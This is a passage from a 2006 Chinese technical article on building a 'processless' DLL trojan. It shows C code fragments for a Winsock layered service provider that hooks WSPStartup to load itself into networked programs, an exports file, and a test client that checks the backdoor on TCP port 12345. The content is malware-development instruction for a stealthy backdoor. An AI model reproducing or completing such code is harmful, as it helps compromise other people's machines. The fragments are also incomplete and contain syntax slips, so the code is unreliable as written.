无进程DLL木马的又一开发思路与实现

豆豆网   技术应用频道   2006年07月21日  【字号: 收藏本文

本文详细介绍无进程DLL木马的又一开发思路与实现

  //创建木马进程,它只是展示数据的流通

  GetModuleFileName(NULL,processname,MAX_PATH);

  //获得调用本服务提供者动态链接库的可执行文件的全名

  OutputDebugString(_T("Start the backdoor ..."));

  //输出调试信息

  layerid=protoinfo[i].dwCatalogEntryId;

  //获得已安装自定义IP分层协议的由Ws2_32.dll分配的唯一标志

  nextlayerid=lpprotoinfo->ProtocolChain.ChainEntries[i+1];

  //获得下一层传输服务提供者的标志信息

  WSCGetProviderPath(&protoinfo[i].ProviderId,filterpath,&filterpathlen,&errorcode);

  //获得下一层传输服务提供者的安装路径

  ExpandEnvironmentStrings(filterpath,filterpath,MAX_PATH);

  //扩展环境变量

  hfilter=LoadLibrary(filterpath));

  //装载下一层传输服务提供者

  wspstartupfunc=(LPWSPSTARTUP)GetProcAddress(hfilter,"WSPStartup"));

  //获得下一层传输服务提供者的入口函数WSPStartup,以便调用

  wspstartupfunc(wversionrequested,lpwspdata,lpprotoinfo,upcalltable,lpproctable);

  //调用下一层传输服务提供者的WSPStartup函数,实现钩子功能

  nextproctable=*lpproctable;

  //保存下一层服务提供者的30个服务函数指针

  由于以动态链接库形式的服务提供者要向外提供一个入口函数,因此还须一个配置文件backdoor.def:

  EXPORTS  WSPStartup

  //向外提供入口函数WSPStartup

  3.testBD.exe

  这是一个测试程序,用来检测木马的服务器端是否正常工作。在它发送特定的消息到服务器端后,如果服务器正常工作就会回送特定的消息,反之则不会收到任何消息。由于木马的服务器在TCP的12345端口监听,所以我们的客户端也是基于TCP协议的。

责编:豆豆技术应用

正在加载评论...